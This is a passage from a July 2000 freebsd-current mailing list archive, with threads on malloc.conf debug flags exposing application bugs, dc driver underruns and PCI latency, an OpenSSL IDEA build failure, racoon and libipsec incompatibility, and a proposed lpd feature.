2000 at 04:03:08PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jul 14, 2000 at 04:03:08PM -0700, Kris Kennaway wrote: > citusc17# ln -s AJ /etc/malloc.conf > citusc17# tcpdump > tcpdump: [CRAP DELETED]: Device not configured > > This is true on 4.0-S as well, where I actually first found it. It's fixed in the tcpdump.org libpcap sources, but we haven't caught up yet. It's due to using memory after it's free'd, and I suggested to Bill Fenner (that is the right Bill F, right?) that we ought to update. -- Matthew Hunt * Stay close to the Vorlon. http://www.pobox.com/~mph/ * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 17:17: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id C82E737BEC6 for ; Fri, 14 Jul 2000 17:16:57 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id RAA18115; Fri, 14 Jul 2000 17:16:50 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200007150016.RAA18115@gndrsh.dnsmgr.net> Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) In-Reply-To: <200007140251.MAA07785@dungeon.home> from Stephen McKay at "Jul 14, 2000 12:51:14 pm" To: mckay@thehub.com.au (Stephen McKay) Date: Fri, 14 Jul 2000 17:16:49 -0700 (PDT) Cc: freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [cc: trimmed to -current] > >>>Does anyone here actually measure these latencies? I know for a fact > >>>that nothing I've ever done would or could be affected by extra latencies > >>>that are as small as the ones we are discussing. Does anybody at all > >>>depend on the start-transmitting-before-DMA-completed feature we are > >>>discussing? > >> > >> I don't like the idea of removing that feature. Perhaps it should be a > >> sysctl or ifconfig option, but it should definitely remain available. > >> Those minute latencies are critical to those of us who use MPI for > >> complex parallel calculations. > > > >I have to agree here. The store and forward adds an approximate > >11uS (by theory under ideal conditions 1500bytes@132MB/s = 11uS, > >practice actually makes this worse as typical PCI does something > >less than 100MB/s or 15uS) to a 120uS packet time on the wire (again, > >ideal, but here given that switches, and infact often cut-through > >switches, are used for these types of things, ideal and practice > >are very close.) > > > >I don't think these folks, nor myself, are wanting^H^H^H^H^H^H^Hilling > >to give up 12.5%. > > OK. It seems that repairing the feature, rather than disabling it is > the most popular option. Still, I am quite interested in finding anyone > who actually measures these things, and is affected by them. As already pointed out, anyone running computational code on a compute cluster that is passing data around is directly affected by this. I know of at least 3 sites that converting to store and forward would destroy as far as ``operational'' status goes. They have gone the extra mile to even use cut-through ethernet switches and I can assure you that an 11uS delay per packet would have a significant impact on cluster performance. They don't directly measure these values, but none the less they would have an impact. Also for those using dc21x4x cards in high load router and/or firewall situations would notice this, though it would be harder to measure (well, actually a pps test should show it quite clearly, as my above 12.5% was based on full size packets, this becomes a larger percentage as packet size is decreased). > These very > same people might be able to trace why we get the underruns in the first > place. Of the sites I know of they don't get these messages :-). I have noticed that I see them more often with the dc driver than I do with the de driver, ie now that I am upgrading more and more of our systems to 4.x from 3.x I have started to see these on machines that have never reported them before. Now this may be the driver, or it could be some other part of system that has changed. > I suspect an interaction between the ATA driver and VIA chipsets, > because other than the network, that's all that is operating when I see > the underruns. And my Celeron with a ZX chipset is immune. I've seen them on just about everything, chipset doesn't seem to matter, IDE or SCSI doesn't seem to matter. > Back to the technical, for a moment. I have verified that stopping the > transmitter on the 21143 is both sufficient and necessary to enable the > thresholds to be set. I have code that works on my machine. I intend > to commit it when I think it looks neat enough. Good. That should help the folks with the major complaint of 2 to 3 second network outages when one of the occur. It may also be possible to simply start out one step further down on the fifo level and eliminate the message for most people. (When I do see these it usually only happens once or maybe twice, then the box is silent about it from then on. I have never seen a box back off to store and forward mode that didn't have some other serious hardware related problem.) > Getting even more technical, it appears to me that the current driver > instructs the 21143 to poll for transmit packets (ie a small DMA) > every 80us even if there are none to be sent. I don't know what percentage > of bus time this might be, or even how to calculate it (got some time Rod?) I'll have to look at that. If it is a simple 32 bit read every 80uS thats something like .1515% of the PCI bandwidth, something that shouldn't matter much. (I assumed a simple 4 cycle PCI operation). Just how big is this DMA operation every 80uS? -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 21: 9:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from whizzo.transsys.com (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (Postfix) with ESMTP id CE8FE37C282 for ; Fri, 14 Jul 2000 21:09:42 -0700 (PDT) (envelope-from louie@whizzo.transsys.com) Received: from whizzo.transsys.com (localhost.transsys.com [127.0.0.1]) by whizzo.transsys.com (8.9.3/8.9.1) with ESMTP id AAA32685; Sat, 15 Jul 2000 00:09:40 -0400 (EDT) (envelope-from louie@whizzo.transsys.com) Message-Id: <200007150409.AAA32685@whizzo.transsys.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Garance A Drosihn Cc: Garrett Wollman , current@FreeBSD.ORG X-Image-URL: http://www.transsys.com/louie/images/louie-mail.jpg From: "Louis A. Mamakos" Subject: Re: Request for comments: new `lpd' suite feature References: <200007142139.RAA88779@khavrinen.lcs.mit.edu> In-reply-to: Your message of "Fri, 14 Jul 2000 19:20:46 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 15 Jul 2000 00:09:40 -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I almost hate to bring this up, but I think the unnamed-here proposed replacement for our lpd allows you to set your PRINTER environment variable to something like PRINTER=queuename@spooler.do.main louie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 21:25:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by hub.freebsd.org (Postfix) with ESMTP id 3805937C303 for ; Fri, 14 Jul 2000 21:25:39 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: from ix.netcom.com (sil-wa15-21.ix.netcom.com [207.93.148.21]) by blount.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id AAA02463; Sat, 15 Jul 2000 00:25:32 -0400 (EDT) Received: (from tomdean@localhost) by ix.netcom.com (8.9.3/8.9.3) id VAA19195; Fri, 14 Jul 2000 21:25:28 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Date: Fri, 14 Jul 2000 21:25:28 -0700 (PDT) Message-Id: <200007150425.VAA19195@ix.netcom.com> X-Authentication-Warning: celebris.tddhome: tomdean set sender to tomdean@ix.netcom.com using -f From: "Thomas D. Dean" To: wollman@khavrinen.lcs.mit.edu, current@FreeBSD.ORG In-reply-to: <200007150409.AAA32685@whizzo.transsys.com> (louie@TransSys.COM) Subject: Re: Request for comments: new `lpd' suite feature References: <200007142139.RAA88779@khavrinen.lcs.mit.edu> <200007150409.AAA32685@whizzo.transsys.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How would this work with printers on local networks? Say, a print server 192.168.1.73? tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 21:45: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [210.226.20.160]) by hub.freebsd.org (Postfix) with ESMTP id 11CD237B5C4; Fri, 14 Jul 2000 21:45:00 -0700 (PDT) (envelope-from kuriyama@FreeBSD.org) Received: from waterblue.imgsrc.co.jp (localhost [127.0.0.1]) by waterblue.imgsrc.co.jp (8.11.0.Beta3/8.11.0.Beta1) with ESMTP id e6F4j2G51515; Sat, 15 Jul 2000 13:45:03 +0900 (JST) Date: Sat, 15 Jul 2000 13:45:02 +0900 Message-ID: <7mem4whui9.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: peter@FreeBSD.org Cc: Current Subject: Re: cvs commit: src/etc/defaults make.conf src/secure/lib/libcrypto Makefile Makefile.inc In-Reply-To: In your message of "Fri, 14 Jul 2000 02:18:21 -0700 (PDT)" <200007140918.CAA76324@freefall.freebsd.org> References: <200007140918.CAA76324@freefall.freebsd.org> User-Agent: Wanderlust/1.1.1 (Purple Rain) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 10) (Capitol Reef) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At Fri, 14 Jul 2000 02:18:21 -0700 (PDT), Peter Wemm wrote: > Be consistant about WITH_ vs MAKE_ flags. We have a precedent of using > MAKE_foo for things like MAKE_KERBEROS etc. Use that. I managed to > confuse myself last time and made make.conf different to the code. ;-( Hmm, my box failed with WITH_IDEA=YES and USA_RESIDENT=NO. Do you have any idea about this? cc -g -DMONOLITH -I/usr/src/secure/usr.bin/openssl -I/usr/obj/usr/src/i386/usr/include -o openssl app_rand.o apps.o asn1pars.o ca.o ciphers.o crl.o crl2p7.o dgst.o dh.o dhparam.o dsa.o dsaparam.o enc.o errstr.o gendh.o gendsa.o genrsa.o nseq.o openssl.o passwd.o pkcs12.o pkcs7.o pkcs8.o rand.o req.o rsa.o s_cb.o s_client.o s_server.o s_socket.o s_time.o sess_id.o smime.o speed.o spkac.o verify.o version.o x509.o -lssl -lcrypto gendsa.o: In function `gendsa_main': /usr/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/gendsa.c(.text+0x209): undefined reference to `EVP_idea_cbc' genrsa.o: In function `genrsa_main': /usr/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/genrsa.c(.text+0x22d): undefined reference to `EVP_idea_cbc' pkcs12.o: In function `pkcs12_main': /usr/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/pkcs12.c:146: undefined reference to `EVP_idea_cbc' speed.o: In function `speed_main': /usr/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/speed.c:594: undefined reference to `idea_set_encrypt_key' /usr/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/speed.c:881: undefined reference to `idea_cbc_encrypt' /usr/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/speed.c:1108: undefined reference to `idea_options' version.o: In function `version_main': /usr/src/secure/usr.bin/openssl/../../../crypto/openssl/apps/version.c(.text+0x310): undefined reference to `idea_options' *** Error code 1 Stop in /usr/src/secure/usr.bin/openssl. *** Error code 1 -- Jun Kuriyama // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 1: 7: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from eeyore.local.dohd.org (d0030.dtk.chello.nl [213.46.0.30]) by hub.freebsd.org (Postfix) with ESMTP id EF40237B76C; Sat, 15 Jul 2000 01:07:02 -0700 (PDT) (envelope-from freebsd@dohd.cx) Received: from tiggr.local.dohd.org (tiggr.local.dohd.org [::ffff:10.0.0.10]) by eeyore.local.dohd.org (Postfix+IPv6) with ESMTP id 37F90BA9F; Sat, 15 Jul 2000 10:07:01 +0200 (MET DST) Received: by tiggr.local.dohd.org (Postfix, from userid 1008) id 9CA675D5B; Sat, 15 Jul 2000 10:07:00 +0200 (CEST) Date: Sat, 15 Jul 2000 10:07:00 +0200 From: Mark Huizer To: Kris Kennaway Cc: current@freebsd.org Subject: Re: -current, racoon, ipsec Message-ID: <20000715100700.A80703@dohd.cx> References: <20000714185044.A46560@dohd.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from kris@FreeBSD.org on Fri, Jul 14, 2000 at 02:04:35PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Grr... ok, that might be solved when putting IPSEC in the kernel config, > > but the second part still stands, I guess. (Why include libipsec code > > when it is in the base tree... they should be compatible) > Just use the port. I presume the included copy of ipsec is there for other > platforms. Which coredumps when there is no matching SPD in the list, but well,that's minor. The other thing is that I haven;t gotten a single encrypted session to work, but that will wait until after the holiday :) Mark -- Nice testing in little China... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 1:15:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id CD8B137BC11; Sat, 15 Jul 2000 01:15:27 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id BAA09549; Sat, 15 Jul 2000 01:15:27 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Sat, 15 Jul 2000 01:15:27 -0700 (PDT) From: Kris Kennaway To: Mark Huizer Cc: current@freebsd.org Subject: Re: -current, racoon, ipsec In-Reply-To: <20000715100700.A80703@dohd.cx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 15 Jul 2000, Mark Huizer wrote: > > > Grr... ok, that might be solved when putting IPSEC in the kernel config, > > > but the second part still stands, I guess. (Why include libipsec code > > > when it is in the base tree... they should be compatible) > > Just use the port. I presume the included copy of ipsec is there for other > > platforms. > Which coredumps when there is no matching SPD in the list, but > well,that's minor. The other thing is that I haven;t gotten a single > encrypted session to work, but that will wait until after the holiday :) You should *definitely* talk to the KAME guys with any bugs you find in racoon. I have a couple of problems I discovered in my testing tonight prior to the 4.0 merge, and there are still 5 days until the ports freeze in which to correct them. *Any* help you can give to sumikawa-san will mean a better IPSEC-enabled 4.1-RELEASE. Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 1:25:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 666B037B79B for ; Sat, 15 Jul 2000 01:25:44 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id RAA08555; Sat, 15 Jul 2000 17:25:38 +0900 (JST) To: Mark Huizer Cc: current@freebsd.org In-reply-to: freebsd's message of Fri, 14 Jul 2000 18:50:44 +0200. <20000714185044.A46560@dohd.cx> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: -current, racoon, ipsec From: itojun@iijlab.net Date: Sat, 15 Jul 2000 17:25:38 +0900 Message-ID: <8553.963649538@coconut.itojun.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Grr... ok, that might be solved when putting IPSEC in the kernel config, >but the second part still stands, I guess. (Why include libipsec code >when it is in the base tree... they should be compatible) they are NOT compatible. security/racoon really needs to compile libipsec by itself. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 2:28:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from shadowmere.student.utwente.nl (wit401305.student.utwente.nl [130.89.236.145]) by hub.freebsd.org (Postfix) with ESMTP id 7FE3F37BDF4 for ; Sat, 15 Jul 2000 02:28:29 -0700 (PDT) (envelope-from daeron@wit401305.student.utwente.nl) Received: by shadowmere.student.utwente.nl (Postfix, from userid 1000) id 4DCD01F61; Sat, 15 Jul 2000 11:28:27 +0200 (CEST) Date: Sat, 15 Jul 2000 11:28:26 +0200 From: Pascal Hofstee To: freebsd-current@freebsd.org Subject: weird application coredumps .... Message-ID: <20000715112826.A13861@shadowmere.student.utwente.nl> Reply-To: daeron@shadowmere.student.utwente.nl Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Since a recent update of my CURRENT system i get weird coredumps from at least two applications which just worked fine previously. The two programs are tintin++ (mud-client) ... and licq (when trying to set myself to "away-mode"). I have tried recompiling/reinstalling both applications thinking it may have been caused by the new binutils import ... but i am still getting the exact same crashes. Is there anybody else there that is having these same symptoms, or someone that may have an idea of what might be going wrong ? -- Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > Managers know it must be good because the programmers hate it so much. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 2:36:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail2.netcologne.de (mail2.netcologne.de [194.8.194.103]) by hub.freebsd.org (Postfix) with ESMTP id 3CA6437C20B for ; Sat, 15 Jul 2000 02:36:39 -0700 (PDT) (envelope-from pherman@frenchfries.net) Received: from bagabeedaboo.security.at12.de (dial-195-14-254-213.netcologne.de [195.14.254.213]) by mail2.netcologne.de (8.9.3/8.9.3) with ESMTP id LAA05890; Sat, 15 Jul 2000 11:36:36 +0200 (MET DST) Received: from localhost (localhost.security.at12.de [127.0.0.1]) by bagabeedaboo.security.at12.de (8.10.2/8.10.2) with ESMTP id e6F9aUh02388; Sat, 15 Jul 2000 11:36:30 +0200 (CEST) Date: Sat, 15 Jul 2000 11:36:30 +0200 (CEST) From: Paul Herman To: Pascal Hofstee Cc: freebsd-current@FreeBSD.ORG Subject: Re: weird application coredumps .... In-Reply-To: <20000715112826.A13861@shadowmere.student.utwente.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 15 Jul 2000, Pascal Hofstee wrote: > Since a recent update of my CURRENT system i get weird coredumps from at > least two applications which just worked fine previously. The two programs > are tintin++ (mud-client) ... and licq (when trying to set myself to > "away-mode"). Just a wild guess, but this could be because of the recently added /etc/malloc.conf options -- (which are just for debuging purposes for now...) -Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 2:46:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from shadowmere.student.utwente.nl (wit401305.student.utwente.nl [130.89.236.145]) by hub.freebsd.org (Postfix) with ESMTP id 1457537BD0F; Sat, 15 Jul 2000 02:46:54 -0700 (PDT) (envelope-from daeron@wit401305.student.utwente.nl) Received: by shadowmere.student.utwente.nl (Postfix, from userid 1000) id A46801F61; Sat, 15 Jul 2000 11:46:52 +0200 (CEST) Date: Sat, 15 Jul 2000 11:46:52 +0200 From: Pascal Hofstee To: Jun Kuriyama Cc: peter@FreeBSD.org, Current Subject: Re: cvs commit: src/etc/defaults make.conf src/secure/lib/libcrypto Makefile Makefile.inc Message-ID: <20000715114652.B34774@shadowmere.student.utwente.nl> Reply-To: daeron@shadowmere.student.utwente.nl References: <200007140918.CAA76324@freefall.freebsd.org> <7mem4whui9.wl@waterblue.imgsrc.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <7mem4whui9.wl@waterblue.imgsrc.co.jp>; from kuriyama@FreeBSD.org on Sat, Jul 15, 2000 at 01:45:02PM +0900 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Jul 15, 2000 at 01:45:02PM +0900, Jun Kuriyama wrote: > At Fri, 14 Jul 2000 02:18:21 -0700 (PDT), > Peter Wemm wrote: > > Be consistant about WITH_ vs MAKE_ flags. We have a precedent of using > > MAKE_foo for things like MAKE_KERBEROS etc. Use that. I managed to > > confuse myself last time and made make.conf different to the code. ;-( > > Hmm, my box failed with WITH_IDEA=YES and USA_RESIDENT=NO. Do you > have any idea about this? it seems that parts of the build-system have switched to "MAKE_IDEA" and some parts still use "WITH_IDEA" ... try defining them both in /etc/make.conf (this is of course something that should be fixed) -- Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > Managers know it must be good because the programmers hate it so much. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 2:53: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from shadowmere.student.utwente.nl (wit401305.student.utwente.nl [130.89.236.145]) by hub.freebsd.org (Postfix) with ESMTP id 6CB5F37BC7F for ; Sat, 15 Jul 2000 02:53:03 -0700 (PDT) (envelope-from daeron@wit401305.student.utwente.nl) Received: by shadowmere.student.utwente.nl (Postfix, from userid 1000) id E6DB81F61; Sat, 15 Jul 2000 11:53:01 +0200 (CEST) Date: Sat, 15 Jul 2000 11:53:01 +0200 From: Pascal Hofstee To: Paul Herman Cc: Pascal Hofstee , freebsd-current@FreeBSD.ORG Subject: Re: weird application coredumps .... Message-ID: <20000715115301.A38330@shadowmere.student.utwente.nl> Reply-To: daeron@shadowmere.student.utwente.nl References: <20000715112826.A13861@shadowmere.student.utwente.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pherman@frenchfries.net on Sat, Jul 15, 2000 at 11:36:30AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Jul 15, 2000 at 11:36:30AM +0200, Paul Herman wrote: > On Sat, 15 Jul 2000, Pascal Hofstee wrote: > > > Since a recent update of my CURRENT system i get weird coredumps from at > > least two applications which just worked fine previously. The two programs > > are tintin++ (mud-client) ... and licq (when trying to set myself to > > "away-mode"). > > Just a wild guess, but this could be because of the recently added > /etc/malloc.conf options -- (which are just for debuging purposes for > now...) Well ... for a wild guess it was Right On Top ... After searching the freebsd-current mailling list i located the bit about malloc.conf ln -sf j /etc/malloc.conf <--- fixed the problems i was having Thanks ... (maybe a HEADS UP in UPDATING ??) -- Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > Managers know it must be good because the programmers hate it so much. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 3: 1:28 2000 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 542) id 06FD937B531; Sat, 15 Jul 2000 03:01:26 -0700 (PDT) Date: Sat, 15 Jul 2000 03:01:25 -0700 From: "Andrey A. Chernov" To: John Baldwin Cc: current@FreeBSD.ORG Subject: Re: New boot0 not work with ahc Message-ID: <20000715030124.A49508@freebsd.org> References: <20000714120049.A8983@freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from jhb@FreeBSD.ORG on Fri, Jul 14, 2000 at 01:38:44PM -0700 Organization: Biomechanoid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jul 14, 2000 at 01:38:44PM -0700, John Baldwin wrote: > Errm, do you have some more details? I sent you more details personally. The only difference I think is underlaying old HP Vectra BIOS to wich SCSI BIOS pass unknown int13 and HP Vectra BIOS hangs. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 3: 3:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 5DB2C37C20B for ; Sat, 15 Jul 2000 03:03:55 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id MAA04719; Sat, 15 Jul 2000 12:03:51 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: daeron@wit401305.student.utwente.nl Cc: Paul Herman , freebsd-current@FreeBSD.ORG Subject: Re: weird application coredumps .... In-reply-to: Your message of "Sat, 15 Jul 2000 11:53:01 +0200." <20000715115301.A38330@shadowmere.student.utwente.nl> Date: Sat, 15 Jul 2000 12:03:51 +0200 Message-ID: <4717.963655431@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000715115301.A38330@shadowmere.student.utwente.nl>, Pascal Hofste e writes: >On Sat, Jul 15, 2000 at 11:36:30AM +0200, Paul Herman wrote: >> On Sat, 15 Jul 2000, Pascal Hofstee wrote: >> >> > Since a recent update of my CURRENT system i get weird coredumps from at >> > least two applications which just worked fine previously. The two programs >> > are tintin++ (mud-client) ... and licq (when trying to set myself to >> > "away-mode"). >> >> Just a wild guess, but this could be because of the recently added >> /etc/malloc.conf options -- (which are just for debuging purposes for >> now...) > >Well ... for a wild guess it was Right On Top ... > >After searching the freebsd-current mailling list i located the bit about >malloc.conf > >ln -sf j /etc/malloc.conf <--- fixed the problems i was having No, not "fixing the problems", "obscuring the problems". The tintin++ code contains errors, and you should fix them. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 3:21: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E76F737B531 for ; Sat, 15 Jul 2000 03:20:59 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id EAA71511; Sat, 15 Jul 2000 04:20:58 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id EAA46695; Sat, 15 Jul 2000 04:20:41 -0600 (MDT) Message-Id: <200007151020.EAA46695@harmony.village.org> To: daeron@wit401305.student.utwente.nl Subject: Re: weird application coredumps .... Cc: Paul Herman , freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Sat, 15 Jul 2000 11:53:01 +0200." <20000715115301.A38330@shadowmere.student.utwente.nl> References: <20000715115301.A38330@shadowmere.student.utwente.nl> <20000715112826.A13861@shadowmere.student.utwente.nl> Date: Sat, 15 Jul 2000 04:20:41 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000715115301.A38330@shadowmere.student.utwente.nl> Pascal Hofstee writes: : Thanks ... (maybe a HEADS UP in UPDATING ??) I have an entry in UPDATING already, don't I? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 4:55:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id A6EDE37B6F5; Sat, 15 Jul 2000 04:55:44 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id EAA29010; Sat, 15 Jul 2000 04:55:44 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Sat, 15 Jul 2000 04:55:44 -0700 (PDT) From: Kris Kennaway To: Pascal Hofstee Cc: Paul Herman , Pascal Hofstee , freebsd-current@FreeBSD.ORG Subject: Re: weird application coredumps .... In-Reply-To: <20000715115301.A38330@shadowmere.student.utwente.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 15 Jul 2000, Pascal Hofstee wrote: > ln -sf j /etc/malloc.conf <--- fixed the problems i was having > > Thanks ... (maybe a HEADS UP in UPDATING ??) Nope, the new malloc flags are hilighting bugs in your application..they should be fixed, not ignored :-) (this was the whole point of setting those flags in -current, they've already found several other bugs) Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jul 15 7:29:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom1-197.telepath.com [216.14.1.197]) by hub.freebsd.org (Postfix) with SMTP id D3CFC37B725 for ; Sat, 15 Jul 2000 07:29:15 -0700 (PDT) (envelope-from 